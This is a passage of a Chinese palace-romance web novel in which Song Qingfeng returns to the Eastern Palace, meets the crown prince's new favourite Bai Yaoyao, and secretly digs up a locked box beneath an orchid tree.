全福顿了顿,却道:“奴婢会将娘子的意思,禀告殿下的。” 不想他是这般回答,宋轻风着实愣了愣。 全福看了她一眼,也不再说什么,行了一礼就走了。 他人一走,乌梅立时跑上前来道:“宋娘子,您怎么在外头耽搁这么久才回来。” 宋轻风道:“我病了一场。” 乌梅抬头,果然见宋轻风整个人都瘦了一圈,脸色也泛着病后的苍白,她唇张了张又闭了嘴。 一旁又绿道:“娘子身体初愈,又赶了这么久的路,还是要好生休养,奴婢已准备好了膳食,娘子不若用点就睡会吧。” 宋轻风听话地点点头。 赶了一路,颠簸得浑身难受,倒叫她这个一向好胃口的人都没了什么胃口,不过随口喝了碗汤。 等睡醒的时候,外头的天都黑了。 她咕隆从床上翻起,就叫乌梅去打听,太子回来了没。 乌梅支支吾吾地去了,没一会便回来了道:“太子殿下已回来了,只是听说在大内吃多了酒,早些歇下了。” 宋轻风听完,一时有些说不上来什么感觉,只觉得心里有些空落落的。 她忍不住问道:“殿下知道我回来了吗?” 乌梅想了想道:“不知道,今日大内设宴,听闻殿下一早就去了。” “哦。” 他既喝醉歇下了,今日自然是见不成了。 宋轻风想着他果然还是这么忙,似乎一切都没有变化。 一切都恢复到之前的模样了。 她坐在檐下百无聊赖地看了回满天的星子,突然想起高烧时不知亦真亦假的梦。 今夜无月有星,万籁俱寂,正是杀人放火好时候。 宋轻风趁着乌梅又绿二人不注意,自己出了院门。 宫庭的夜色,一向是亮了许多。 远远近近的许多宫灯,将四周照得一片昏黄。 宋轻风也不必提灯,就着夜色寻摸到了斜跨院,果然瞧见那棵兰树。 只是而今这天气,兰树上的花已凋落,梦中满树的花都已不见。 这树她来来回回瞧过好多回,却从没想过会做那么奇怪的梦。 梦中的一切有些清晰,有些已模糊不清。 她索性也不管,蹲下身来,从旁边折了粗根树枝便开始刨土。 刨着刨着,突然底下的土变得坚硬起来。 宋轻风心中一惊,难道这树底下真埋了东西! 想到此,她干脆弃了树枝,直接双手开始刨了起来。 不过一会,就瞧见一块小木板面露了出来。 真的有东西! 宋轻风还待用力,却觉得肩膀“啪”地一声,将她吓得浑身一抖。 转过头来,才瞧见是乌梅,拧着灯笼寻来了。 乌梅见这场景,惊地说不出话来,眼泪却在眼眶里打转道:“娘子,您别这样,奴婢知道您心里难过,但是这日子总要过下去的。” 宋轻风有些无语,怎么出去一趟,乌梅成了又绿,动不动就哭鼻子了! 乌梅见她满面无神,一把抓住她道:“娘子,咱回去吧,您这般身体弄垮了,思绪弄乱了,吃亏的是咱自己。” 说着也不等宋轻风反驳,拉着她就往破云院去。 宋轻风无法,只得手忙脚乱,先将那坑填了—— 作者有话说:晚安~《 》 60-70 第61章 第 61 章 这定是个对他极为重要的…… 宋轻风在两人的虎视眈眈之下, 翻来覆去,不知什么时候才睡过去。 不知睡了多久,却被一阵嘈杂声吵醒。 她困得眼睛睁不开, 将脑袋往被子里埋得更深。 直到听到一声细细的哭泣声,她才掀开被子侧耳一听,果然是又绿的声音, 还夹杂着嘎嘎的叫声。 宋轻风脑袋清醒了大半, 从床上翻身而起。 打开门,却见乌梅又绿二人站在一处, 乌梅瞪着乌鸡眼,又绿双眼微红。 而她两的前面,站着个叉着腰的宫女。 那宫女生得白净高挑, 细长眉毛飞扬而起:“你们也敢拦在此处?还不避开。” 乌梅又绿站在一处, 没有反驳,却也没让。 那宫女撸了撸袖子方要动手,却听外头传来一清泠泠的笑声:“这处可真别致。” 那宫女立刻收了手,恢复了娇憨模样, 转身到门口道:“娘子, 您当心着点。” 随着话音落,却见门槛探进来一双缀珠缕金的绣鞋,流云一般顺滑的藕粉色裙裾飘扬, 随后一个挽着斜云髻,满脸笑意的女子便走了进来。 她十六七岁的年纪, 肌肤如雪一般晶莹透亮, 脸颊小巧,下巴尖尖的,一双杏眼正咕噜咕噜地四处瞧着。 待她目光转到院中的人, 在乌梅又绿身上转了一圈,又回到站在门口的宋轻风身上,不由笑道:“打搅了,这是你们住的地方吗?” 又绿两人瞧见宋轻风出来,忙都跑了过来。 这女子满面笑意,活泼天真,但宋轻风不知为何却打心底里喜欢不起来。 她下了一节台阶道:“有事吗?” 跟在那女子旁边的宫女浮珠,却上前一步道:“你是谁?胆敢和我们白娘子这般讲话?” “白娘子?”宋轻风一时有些迷茫。 这称呼怎么有些耳熟。 浮珠却扬起下巴得意地道:“自然,我们主子就是新进宫的白娘子。” 新进宫的白娘子? 宋轻风总算想起曾偶听过一个话本子,里头的白娘子是个蛇精,后来被镇在塔下,实在可怜。 一旁又绿扯了扯她的衣袖道:“娘子,您千万放宽心。” 宋轻风一时有些迷惘。 之前据说她是这宫里唯一的宋娘子,如今这么快出现了一个白娘子。 又绿乌梅见宋轻风面上木木的,一时担忧地互看了一眼。 浮珠上下扫了她一眼,见她头发散着,衣衫不整,显然刚从床上爬起来。 不由有些无语地道:“这都什么时辰了居然刚起床?太子殿下都出门一个时辰了,你们居然还在睡?还有没有尊卑了?” 乌梅原就一肚子起,此刻更是忿忿地道:“殿下都不说什么,你算哪棵葱啊,还轮得着你来说?” 浮珠不想她居然敢还嘴,刚要吵起来,却听旁边白娘子叫道:“浮珠。” 她立刻收了气焰,只是咕哝道:“我们娘子不与你们一般见识。” 白窈窈却上前一步,仰着脸看着宋轻风,歪着头笑道:“这位姐姐莫不就是宋娘子?我听太子殿下提起过你,一直想拜见,只是听说你在外头养病,一直不得见。” 宋轻风见她白皙的皮肤在阳光下闪着玉一般的光泽,着实生得干净又漂亮,尤其那一双杏眼,顾盼神飞,声音也婉转好听。 连她一个女子瞧了,都移不开目光。 她一时脑袋有点发疼,浑身蔫蔫的,打了个哈欠道:“我养病回来了,不过还没恢复彻底呢。” 白窈窈道:“那姐姐好生休息,等殿下回来,我定要请殿下来看你。” 乌梅听闻,愈发气得双眼发黑。 宋轻风扶着檐下的椅子坐了,笑道:“好啊。” 说着她揉了揉太阳穴,与乌梅道:“寻点水来,给我洗簌洗簌。” 乌梅忿忿地看了两人一眼,又答应着去了。 白窈窈似乎没察觉出她的送客之意,却四处瞧了瞧道:“这院子虽然简陋了些,但胜在偏僻安静,又离小河塘近。不像方华殿,这些日子我住在那,虽然处处周到,殿下也待我仔细,但到底拘束了些。” “咕嘟咕嘟。”宋轻风接过乌梅递过来的漱口水。 “殿下见我拘束,昨夜睡前特意嘱咐,叫我自己出来寻寻,看看可有喜欢的地方。若有喜欢的,告诉全福就行。” 宋轻风拧起毛巾使劲揉了揉脸。 昨夜,听闻太子酒醉,却与她在一处么? 白窈窈却自顾说道:“姐姐这处不算什么好住处,离方华殿又着实远了些,姐姐若是不介意,可否让给我?” “……” 白窈窈忙补充道:“我绝不敢叫姐姐吃亏,我定请殿下再为姐姐寻个好地方,譬如离殿下的方华殿更近的,就有好几处院子,又豪阔又舒适。” 宋轻风洗簌完,倒是认真想了想她的提议。 这个地方,当初是叫她来做冷宫,自然好不到哪里去。 屋内阴暗,整日里不见阳光。 甚至连一扇像样的窗都没有。 陈设摆件,后来全福叫人添置了些,但与方华殿相比,那就是家徒四壁。 院子里,也是光秃秃的,不像她之前还瞧见有的院子里还养着仙鹤。 每次跑去方华殿,那是七晚八绕,走上好一会。 思来想去,实在算不得好地方。 倒不如换个离太子近的,又豪阔的,叫她也过上些好日子。 可是,嘎嘎喜欢整日站在这屋顶上仰首望天。 她和乌梅又绿也喜欢坐在这屋檐下,瞧着方华殿的殿顶发呆。 还有小白,喜欢在那墙根下打滚。 她在这宫城里仅有的一些时光,倒有大半在这里。 况且,这是破云院啊。 见她发呆许久,浮珠忍不住道:“宋娘子,这么好的机会,错过了可难找到下一回了。” 宋轻风回过神来,歪着头问道:“你不怕我离方华殿近了,抢走殿下?” 白窈窈却笑了起来道:“那是姐姐的造化了。” 宋轻风这才端了茶来喝了一口,而后摇头道:“不了,我还是喜欢我的破云院。” 浮珠一愣,方欲上前。 白窈窈却拦住她,而后笑道:“那就不打搅姐姐了。” 说着挥了挥手,自顾走了。 她方转身,乌梅就再憋不住,恶狠狠地道:“她们太欺负人了!怎么一来就要抢我们的院子!太过分了,这是仗着殿下如今宠爱她,就特意来耀武扬威来了!” 说着却见又绿拼命使眼色,乌梅才反应过来,忙闭了嘴又解释道:“娘子您也莫要伤心,殿下还是在乎您的,不然怎么会出了个门都特意带着您。” 宋轻风的好奇再憋不住道:“这白娘子,是从哪里冒出来的?” 乌梅这才知道,这满京的传言,敢情娘子还未听说。 她叹了口气道:“唉,她是太子殿下,花了重金从春风楼带回来的。” 此事闹得沸沸扬扬,满城风雨。 听闻这白窈窈,乃是春风楼里数一数二的才艺双绝,十几日前,在春风楼挂了牌。 那一日春风楼人满为患,报价也从五十两慢慢涨到了惊人的五百两! 五百两买一个女子,实在是疯了。 哪知在此之际,却有位神秘的买家,出价一千两。 又有传说这笔买卖并不顺利,为了她一个女子,几个买家暗地里甚至动了手。 再后来就没人知道了。 直到有人几日后在东宫瞧见了白窈窈。 众人才恍然大悟,这花居然落了东宫。 当日在春风楼的神秘买家,居然是当今太子殿下! 太子殿下在花楼里买了个女子的消息,瞬间如插了翅膀,飞遍了京师。 众人议论纷纷,怎么也没想到,平日里道貌岸然的太子殿下,居然热衷于春风楼! 乌梅恨得咬牙切齿地道:“听闻这女子刚买回来,殿下便带她进了方华殿,而后居然足不出户,两人在里头足足呆了五日五夜才出门!” “等出来的时候,听闻殿下面色都有些不好看,走路还有些不稳!” “而这白娘子,居然就被安置在了方华殿里。” 这惊天骇闻,一时惊了朝野。 殿下如此沉迷于美色,实在叫人大惊。 又绿补充道:“前些日子,一波又一波大臣前来劝诫殿下,听闻都被挡在了方华殿外,殿下是一个都不见。” 乌梅不解地道:“这白娘子也就生得好看了些,声音好听了些,走路窈窕了些,也没什么其他过人之处了啊,太子殿下怎么能被她迷得神魂颠倒呢。” 宋轻风愣愣地掰开手指头数了数。 数来数去,发现那日太子匆匆离开苍西镇,连夜奔袭数百里,居然是在赶往春风楼。 他不顾艰难险阻,要去春风楼,救下这个女子。 这定是个对他极为重要的人。 重要的,叫他平日里这样一个严于律己的人,也可以不顾一切—— 作者有话说:晚安~ 第62章 第 62 章 原以为…… 黄昏悄然而至。 夕阳照着天边残云, 皇城内一片众人都忍不住缩了缩脖子。 一队侍卫护送着金顶华盖的马车从外城进了宫墙。 马车正要往方华殿去,李岏掀开车帘,往北面看了一眼。 天色将晚, 乌鸦在金顶上盘旋。 隐约听见有人声传来。 他敲了敲车厢壁道:“停车。” 车应声而停,他掀开车帘扶着高守的手下了车来。 骤然从车内暖和里出来,寒意瞬间袭卷了全身, 李岏忍不住低下头咳嗽了一声。 高守眉头皱成川字, 扶着他道:“殿下,外头风寒, 您还是回车里去吧?” 李岏松开他的手道:“孤随便走走。” 说着自顾往西边去。 不一时走到西边不远处的随云殿,他站住了脚步。 殿门口守着的总管太监忙上前来道:“太子殿下,此处已按您的吩咐收拾好了。” 李岏步子顿了顿, 便抬步跨进了殿, 花香扑鼻,院子里养着不少花,这个时节这些花还开得艳。 檐下挂着几只造型别致的风铃,微微发出丁铃的声响。 屋檐下放着个紫竹编的藤椅, 椅扶手上编着两只模样可爱的小兽。 总管太监躬身跟在身后, 满脸挂着笑意道:“正按着殿下的意思,四处都布置的有趣些。” 李岏停下脚步扫了一眼,然后便在椅子上躺了下来。 见他突然坐在此处, 总管太监一时忐忑不安。 此处虽在方华殿不远处,位置极佳, 但是这么些年, 东宫里一向也只有殿下这一位主子,他老人家又一直住在方华殿。 其余殿除了接待外臣的崇华殿,大多都空置着, 随云殿虽然是东宫里数一数二豪阔的殿,但因无人住,便也半荒废着。 前些日子殿下突然吩咐收拾此处,他便着手收拾了,按着吩咐都是按着小女子的心思乐趣。 他自以为是为着那位方入宫的白娘子收拾的寝宫,毕竟她得的宠爱满宫都瞧见了。 只是一切都按侍妾的品级,却不是按照太子殿下的起卧习惯准备的。 李岏闭目坐了一会,突然道:“漏风。” 总管太监惊出一身冷汗,忙跪地磕头道:“奴婢这就去寻漏风的地方。” 说着忙颠颠找了几个内侍去寻这漏风之处。 他不敢想,这藤椅本就在檐下,有风又有什么奇怪。 李岏自椅子上起身,拢了手,又进了内暖阁。 这随云殿有处极特别的地方,便是这内暖阁。 便是这个黄昏时候,这阁内都极为光亮,南北两侧视野开阔,能瞧见外头的风景。 仔细一瞧,原来两面都用极为昂贵的琉璃封了,既不影响视野,又能挡风。 便是冬日的时候,这暖阁内不生炉子都暖和的很。 而到了夏日,将这琉璃换成素纱,又是个极为凉快的乘凉之所了。 当年殿下方搬到这东宫,宫人们便有意要收拾出此处来。 不过殿下不喜这般明亮,才选了方华殿。 李岏在暖阁内站了一会,又将各处摆件细细瞧了一遍,没说什么,终于出去了。 看着他老人家背影消失在远处,总管太监稳了稳忍不住打颤的腿,心道这位白娘子,实在是恩宠不浅啊。 好在自己还算尽心尽力,不然今日就完了。 李岏从随云殿出来,却站在门口并不往方华殿去。 高守不明所以,便跟着他站在一旁发呆。 还是全福匆匆过来,送来了披风,打眼见两人只是站着,不由恶狠狠地挖了高守一眼。 但是挖了也没用,心下不由生了焦急。 殿下受了重伤,这消息一直封锁着。 他从西山大营回来后,除了开头几天人呆在殿内闭门不出,后来便要整日装作若无其事的模样,出入各处,与往日无异。 内宫里那起子坏心肝的,心中怀疑得不到证实,昨夜居然拼命劝殿下饮酒。 殿下的伤口方愈合些,哪里能饮酒。 昨夜回来时,殿下已是唇色苍白,脚步虚浮,他上药时瞧见那深可见骨的伤口都红肿了,忍不住心惊胆战,恨不能杀进宫去,将那帮人好生打上一顿。 此刻哪里还能这般站在风口里吹。 全福凑过来勉强笑道:“太子殿下,奴婢伺候您回去吧,该进晚膳时候了,白娘子今日下厨,亲自为您烧了一桌子菜,连奴婢闻了,都忍不住流口水呢……” 李岏抿了抿唇,压抑住嗓间的咳嗽,好一会才道:“她今日如何了?” 全福笑道:“好的很呢,白娘子方才听闻您回来了,欢喜得什么似的,也想出来迎接您,还是奴婢劝回去了。” 李岏冷了脸,转头来扫了他一眼。 全福不明所以,被这冷凉的目光扫地立刻闭了嘴。 李岏却不再问,自顾抬步往北边走。 全福立刻叫了肩辇紧随其后,只盼着殿下能赏脸坐上一坐。 可惜直走到了一方破旧小院的外头,李岏才停下脚步。 余晖落尽,夜幕低垂。 破云院子里点了宫灯,一团橘色光火隐约照出来,里头吵吵嚷嚷,传来嬉笑声。 全福见殿下站在门口却没有要进去的意思,此处更深露重,草木繁盛,更是寒凉。 他恨不得再给殿下披上一层,衣裳忙上前道:“奴婢这就去敲门。” 李岏却拦住他道:“不必了,孤只是随意走走。” 这回全福却有些摸不着头脑了,他拿眼看了看高守,这个榆木疙瘩,只顾站着,更是什么也不知晓。 但也不算什么难猜。 如今这满京的谈资,最热门的,早就从那位宋娘子变成了白娘子。 前些日子,自宋娘子要回京的消息传回了东宫,殿下便心情郁郁。 想来也是,殿下而今有了新宠爱的娘子,这位宋娘子定是得了消息,在这时候巴巴地赶了回来。 谁知会不会闹出什么幺蛾子来。 这位白娘子,一进宫可一直在方华殿住着。 宋娘子当时可是趁着风寒赖在殿里才呆了几日。 不是他全福以小度人,按他对宋轻风的了解,她也不是心机深沉之人。 但他在宫中这么多年,这后宫争宠的戏码,实在看得腻了,莫说是宋娘子这般的,便是十三四岁的天真贵女,最后都会卷入争宠的漩涡。 李岏不知身旁的人已幻想出了一出东宫争宠的戏码。 他这些日子脑中挥之不去的,都是离开苍西镇时那夜的情形。 她高烧不退,脸烧得通红,见他去而复返,以为他不走,欢喜地抱着他。 可惜笑容还没维持多久,又落寞下来。 大夫的脉案虽然一直送过来,但他那时重伤在身,自顾不暇,他们也并没敢送到他的手上。 等他恢复了精神,仔细一瞧,才瞧见那脉案的凶险。 若是其中有半点差错,她都可能再也回不来了。 便是那时明知她已度过了危险期,他也恨不得立刻插翅飞过去。 但可恨他这些日子重伤未愈,莫说车马劳顿,便是每日里出了宫门去各官署,都拼了很多力气。 更何况,内宫的人,还一直盯着。 只要抓住一点破绽,都可能蜂拥而上。 答应去接她的承诺,只能一拖再拖。 拖到她自己一个人回来了。 李岏有些不敢推开这道门,怕瞧见她失望的眼神。 更怕她问起,那方华殿的女子,是谁。 他站了一会,伤口到底有些受不住,捂住了胸口便准备上辇车。 不想身后突然传来支呀声,一女子边走边笑道:“我倒要瞧瞧它躲哪里去。” 这一声叫李岏浑身一僵。 转过身来,却见宋轻风满面的笑意顿了顿,脸上现出惊讶来。 她没想到太子居然站在门口。 宋轻风一步跳到他的面前,惊喜地叫道:“殿下您来了啊!” 李岏收回欲要上辇的脚,还未说话。 宋轻风却一把拉住他,热情地道:“太好了!我们正在研究酿冬至酒,您来了正好给我们参详参详。” 李岏瞧见她整个人消瘦了许多,愈发衬出脸上的梨涡。 瞧见他进来,乌梅又绿惊地跪倒在地,一个字都不敢出。 宋轻风却将他拉到檐下,叫他瞧缸里泡着的白糯米。 白色宫灯下,缸里的糯米散出清香。 “瞧,刚蒸好的,”宋轻风蹲在缸边道,“我说要放松针,她们两个说要放桂花。您喜欢什么口味的?” 她仰头,一张小脸白皙又有些苍白。 说完又一指远处的角落道:“待会拌好了,我便埋在那个墙角,等马上冬至节来,刚好能喝。” 李岏见她一门心思在酿酒,还问他喜欢什么口味,似乎对他毫无怨言。 忍不住问道:“你……不怪我?” 宋轻风一时好奇问道:“怪您,怪您什么?” 说着她想起什么来,道:“我永远不会怪您的,殿下。” “那个白窈窈……” 宋轻风打断他道:“您是太子殿下,本就是要三妻四妾的人,多一个白娘子再正常不过。” 李岏一时觉得她过分懂事,一时心口又有些郁郁。 突然一声细小的喵呜声传来。 周围内侍脸刷地失了血色。 一只白色小猫跳过院墙回来,方才谁也不妨,它居然已窜到了缸边,正在殿下的脚边。 乌梅又绿面如死灰,心道这回真完了。 这下不只是挨板子这么简单。 宋轻风也猛想起他极为忌讳猫近身,还未动作,哪知高守已先一步抓住了小白,他力道极大,小白挣扎着喵呜直叫。 宋轻风怕他一剑劈了,忙乞求地看着太子道:“方才实在不小心没瞧好,我下次保住再也不会了。” 李岏胸口一阵刺痛,忍不住皱了眉头。 全福见神色不对,忙扶住他道:“殿下,奴婢伺候您回去吧。” 李岏几乎不能站立,知道不能久呆了,当即转身道:“嗯,孤走了。” 宋轻风见他说走就走,想起他曾警告过她,养猫可以,但要管好了。 不想今日他第一回来,就冒犯了他。 李岏行到半路,又停下脚步道:“此处破败,潮湿阴暗,不适宜你养病。孤为你准备了一处新住所,不若早日搬到那里去吧。” 宋轻风听闻,扯了扯嘴,露出一个勉强的笑来:“您来,是为了这件事么?” 李岏看着她瘦小的身后破败的房子,点头道:“嗯。” 宋轻风低下头,扯了衣摆低声道:“您说什么便是什么,妾都听您的安排。” 李岏奇怪地看了她一眼,愈要深究,却一手触到胸口的潮湿。 他不能耽搁,脚步匆匆,坐了肩辇走了。 人声消失了好一会,乌梅才从地上爬起来,哭丧着脸走到宋轻风的面前,道:“怎么办,这回太子殿下是彻底生气了。” “不光被小白气跑了,还被那白狐狸精给迷住了。” “而今殿下方下职回来,就亲自来帮她撑腰了。” “这白娘子到底是欺人太甚,不过是春风楼里出来的,怎么就敢骑在我们头上。” 又绿扯了扯她的袖子,乌梅闭了嘴。 想起传言里,宋娘子的母亲便是春风楼的。 这东宫殿下,怎么和春风楼过不去了。 原以为这白氏是趁宋娘子生病,乘虚而入,得了宠爱,宋娘子回来便好了。 哪知宋娘子回来,败得这么彻底啊。 宋轻风在檐下的椅子上坐下来,遥遥地看着夜色。 连这破云院,也保不住了。 在苍西镇的那夜,她甚至产生一种错觉,错觉他们或许,可以这般走下去。 就像她以为,她会见到,他惊喜地来迎接她…… 宋娘子失宠的消息,一夜之间传遍了东宫上下。 宋轻风难得起了个大早,天还是麻麻亮,却听到伙房的伙夫,在商量着如何能回方华殿,去伺候那位新得宠的白娘子。 听说连皇后娘娘,都想要亲自接见那白娘子。 不像这位宋娘子入宫这么久了,也入不了贵人的眼。 她没打扰他们,悄没声息地打开门往外头去。 晨时已有很多宫人起身,吹灯清扫,又忙碌又安静。 能在这个时辰起床的,都是低等的杂役。 宋轻风裹着黑色披风,很快寻到了那棵花树下。 她从怀里掏出早藏着的小铁锹,蹲在地上就是一顿掏挖。 土早已松动,不一时便见到了那只木盒子。 宋轻风一把将那木盒子从土里挖出来,塞进了怀里。 回破云院的路上,不想却正巧撞见了巡夜的侍卫,躲避不及。 其中一人喝住她道:“什么人?” 宋轻风扯了帽子道:“奴婢是破云院的乌梅,奉宋娘子的命来采摘晨露,给太子殿下煮汤喝呢。” 说着她摇了摇早就准备好的半琉璃盏的水。 侍卫困了一夜,此刻与身旁人道:“我当是什么,原来是些争宠的手段。” 另一人警告她道:“不要再这么早到处溜达了,这汤只怕只能进你们娘子的肚子。” 宋轻风忙应是。 一路疾走,回了破云院便将屋门从里上了好几道栓。 她心口砰砰乱跳,从怀里取出木盒—— 作者有话说:来啦,晚安宝贝~ 第63章 第 63 章 盒子的秘密 折腾了这么一圈, 晨光从云层中穿出,透出薄薄的一束。 小屋内没有窗,门窗紧闭。 她举着蜡烛, 满屋里去寻趁手的东西。 从未戴过的发钗,桌子腿,门闩, 铜镜, 甚至最后是自己手中的烛台。 屋外乌梅敲门:“娘子,发生什么事了?门怎么关上了?” 宋轻风瞬间做贼心虚, 放下了手中烫手的烛台。 而后装作没睡醒的声音道:“没事,别打搅我睡觉了。” 经过她一通慌乱的尝试后,木盒子表面只多了点凹痕, 而那把锁上, 却毫发无伤。 她砰砰乱跳的心彻底冷了下来,顺着床边滑坐在了地上。 冷静,要冷静下来。 等到浑身的血凉透了,忍不住打了个寒战, 她才仔细打量了起来。 这个木盒子, 一定与她有关系。 在过去的迷迷糊糊梦境中,她总是反复梦见这一株花树,梦见花树下自己刨着坑。 她似乎丢掉过小时候的记忆, 也根本不记得自己的父母。 这个木盒子,难道能找到她的身世吗? 难道这木盒子, 是她埋的? 她小时候, 便来过皇宫,来过这东宫? 只是梦中那个小男孩,又是谁呢? 难道是太子? 可是她记得那小孩的脸上光洁一片, 没有红痣,也或者是做梦不可信。 再或者难道这宫中,曾换过其他太子?但是并不曾听说废过太子啊? 一顿胡思乱想,越想越离谱。 宋轻风强迫自己冷静下来,就着烛光仔细打量,突然觉得这把锁,有些眼熟。 这锁常年埋在地中,沾染了黑土。 她拿起袖子拼命擦了擦,露出锁身光亮的金色。 不管是大小,还是形态,还有锁身上头的纹理,都与太子殿里那个锦盒上的锁,如出一辙。 宋轻风扯过腰间的荷包,从里面一阵掏摸,摸出一把崭新的钥匙来。 钥匙插进锁眼,却转不开。 但是她确认了一点,这两把锁,真的是同一类。 只是当初好不容易趁着从西山大营回来的机会,才在外头配了这把钥匙。 宋轻风将盒子塞进床底,豁然从地上站起来。 打开门,晨光热烈,刺得她眼睛险些落下泪。 乌梅又绿正在院中收拾,瞧见她居然这么早就起床了,具都直起身来惊讶地看着她。 宋轻风走了几步,却突然掀开裙摆,飞奔而走。 乌梅叫不及,她却摆手道:“我去方华殿。” 话音未落,人却已消失在门边…… 宋轻风一路急奔,进了殿门,还未来得及喘息,却见高守正在檐下守着。 院子两侧,东宫卫肃然而立。 四周寂寂,这么多人,却连半点声息也无。 瞧这阵仗,太子居然还在殿内,没有出门。 她记得宫内是逢十休沐,今日并不是休沐的日子。 被周围氛围影响,宋轻风不自觉放缓了脚步。 高守瞧见她,主动走下台阶,远远拦下她道:“太子殿下还未起身,宋娘子晚些再来求见。” 宋轻风瞧了瞧紧闭的殿门,里头果然半点动静也没有。 这么晚了居然还未起身。 她扯了扯衣摆,不想就此回去,遂道:“太子殿下命我管理衣物,我这就去,正巧殿下待会起身要穿。” 高守无语地看着她。 殿下确曾命她无聊时掌管衣物,可衣物要赶在殿下出门前收拾妥当,她不过兴冲冲忙了几日,就再起不来床了。 全福特意去叫起了两回,被殿下知道了,反将全福训了一顿。 他自也不敢再去打搅。 而今这倒是从哪里想起来这一出。 高守瞧了瞧殿内,心中明白了。 平日里他一定横眉冷对,用冷漠让对方知难而退。 不过他与宋轻风到底在外头待过好些日子,自认感情比那位好,这才多说了几句道:“宋娘子晚些再来吧,殿下现在不方便。” 说着低下魁梧的身型,小声地道:“您若是真想做些什么挽回,不若晚上来更好些,说不得能抢占先机呢。” “啊?”宋轻风满脑子都是锦盒,心道难道他的意思是晚上更方便偷锦盒吗? 见宋轻风一脸了然,高守信誓旦旦地道:“听我的准没错。” 到时他将她以整理衣裳为由放进去,殿下也怪罪不得吧。 宋轻风见他难得这般认真,咬了咬唇,只好做罢。 回去方跨出院门,却听殿门吱呀一声开了。 一个女子的清悦声音响起:“高大人您早啊!殿下方才说您守了一夜,叫您去歇着呢。” 宋轻风的脚步顿了顿,转头却见那白娘子站在门口,发髻未梳散在耳侧,裹着件玄色狐裘。 满面红润,容色照人。 她眼尖,一眼认出那是太子的衣裳。 原来自己来的真的不是时候。 难怪太子这么晚还未出门。 宋轻风转身,没往破云院,却先去了花树下。 她挖的坑还隐约可见。 可是在这树下站了许久,也想不起来更多的记忆。 乌梅寻过来,见娘子果然在此一声不吭地傻乎乎站着,常带笑的脸也面无表情,她忍不住心底一酸。 方才有宫人偷偷来嚼舌根,告诉她宋娘子在方华殿吃了闭门羹,便傻子似地站兰树下发呆呢。 虽说这棵树是太子殿下亲手种的,一向宝贝。 可这宋娘子便是站再久,也挽回不了殿下的心啊。 乌梅忍住眼泪,拉着她道:“娘子我们回去吧,没了宠爱,我们守着破云院过日子就是了。” 说完却突然想起来连破云院都保不住了。 方才已有人来安排她们收拾东西,准备搬走了。 乌梅到底忍不住,哇地哭出来。 宋轻风不解地看了她一眼,许是被她感染,心中也添了堵墙似的。 她也没反抗,任由她拉着往回走。 乌梅抹了眼泪,又恨恨地咬牙低声道:“且看那白娘子又能得意上几回吧!她这做派,还当自己是太子妃呢,真是做梦!” 宋轻风听闻,突然反应过来道:“对,做梦,我也要做梦!” 说着自顾甩了乌梅,自己往破云院跑。 回到院子什么也不做,就爬上床睡觉去了。 乌梅和又绿面面相觑,一时不知该作何反应。 娘子这是,受刺激,痴病又犯了吧…… 李岏半躺在床上,突然放下手中的书问道:“外头有人?” 全福听了听,只听到风声。 其中隐约传来白娘子的声音。 他捧着药膏小心地上前道:“似乎是白娘子起身了。殿下,奴婢给您上药吧?” 李岏点了点头,方才他还恍惚以为是宋轻风的声音。 看到全福手里的药膏,想了想道:“宋娘子今日若是来了,先别带进来,告诉孤再说。” “是。” “嘶。”他忍不住轻哼不声。 全福小心翼翼上药的手一抖,忙道:“奴婢该死,奴婢手重了些。” 李岏没有吭声。 全福瞧着这伤口牵连不愈,昨夜不知为何更是裂了开来,忍不住满心痛楚。 为了不叫人察觉,殿下每日里便顶着这样重的伤处理公务,连伤口痛了都不敢表露出来。 本来静心修养月余,总能愈合大半。 而今这样裂了好好了又裂,可如何是好。 全福忍不住再次哭丧着脸道:“殿下,您不若告病吧,每日里这般折腾,这伤口总也好不,越拖越严重啊。” 冰凉的膏药缓解了火辣辣的疼痛,李岏眉心微皱了皱,道:“多嘴。” 全福只能抹了抹眼泪,悻悻地闭了嘴。 过了一会他又低声道:“听闻陛下昨日在紫晨宫内又发了场脾气,说您从外头带回来这么个…这么个人…哪家正经姑娘以后还敢嫁来。” “皇后娘娘拦住,想要见见白娘子,若是姑娘人品不错,殿下又实在喜欢,她担保着抬举个侍妾也罢了,说不得也曾是好人家的姑娘……” 李岏冷笑,知道全福话中隐去了不少难听的话。 这些日子,这样的话他听了不知多少。 只是这白娘子的身份一日不查清楚,他一日便不能放心。 明知道她们就是想要这样,想要他不顾一切闲言,将她带进府,他还是照做了。 全福看了一眼道:“陛下准了,今日便会亲自派人来接。” 李岏自己拢了衣领,冷笑道:“孤便是不许,他难道来抢吗?” 全福心中一跳,方要相劝,却听门外有人轻声细语地道:“太子殿下,妾可以进来吗?” 李岏下意识拉紧了衣衫,这才道:“进来吧。” 白窈窈捧着食盘,进来道:“殿下,妾方炖了点鱼汤和点心,您用点?” 说着抬起头,露出一双顾盼神飞的杏眼。 她厨艺精湛,做的东西色香味俱全。 不像宋轻风,做了那丑丑的糕点,还喜欢配着莫名其妙的表情。 “殿下?” 李岏回过神来,点头道:“有劳了。这些交给宫人们去做,你是我东宫的座上宾,不必操劳这些事。” 白窈窈放下盘子,低声道:“是妾想为殿下做。” 李岏低下头没有应声,也没有要用膳的意思。 白窈窈看着他的反应,心中愈加失望,却鼓足了气道:“全福公公方才说的话妾都听见了。太子殿下,妾愿意去拜见皇后娘娘。” 李岏闻言抬头,看着她道:“不必,孤虽只是太子,却还护得住你。” 白窈窈心中又生了感动,掀开衣摆跪在床边道:“殿下为救妾,已受了不少流言蜚语,妾出身低微,能靠近殿下,已是几世修来的福气。而今更不必为了妾,叫殿下犯险。” 李岏看着她而今模样,双眸微不可察地暗了暗,好一会才叹气道:“你不必如此妄自菲薄,若是……” 说到此他却停住了,似乎陷入某种思绪中。 白窈窈道:“殿下?” 李岏回过神来,见她双颊生晕,杏眼圆瞪,与记忆里的人似乎重叠在一处。 她流落在外多年,又被人算计进春风楼,而今这般模样,又怎么能怪她呢? 他放软了声音道:“你离开东宫,孤不放心。” 白窈窈笑道:“妾不怕的,能为殿下做事,妾什么都不怕。” 李岏到底点头道:“好。”。 宋轻风躺在床上,抱着盒子强迫自己睡觉,可越是强迫,越没有困意。 她翻来覆去翻了好久,终于睡了过去。 梦里一片漆黑,她站在当地,瞧见火光自远处来。 心下一沉,不是花树,却又是那条巷子。 巷子里,她摔倒在地。 突然一只冰凉的小手抓住了她的手。 她浑身颤动,却听一个小男孩的声音传来:“跟我走,我知道哪里可以逃出去。” 黑暗里,她跌跌撞撞跟着他,他的手冰凉,抓着她的手在宫墙的角落里四处游走,准确地避开了所有的追兵。 后来他翻开茂密的草丛道:“从这里钻出去。” 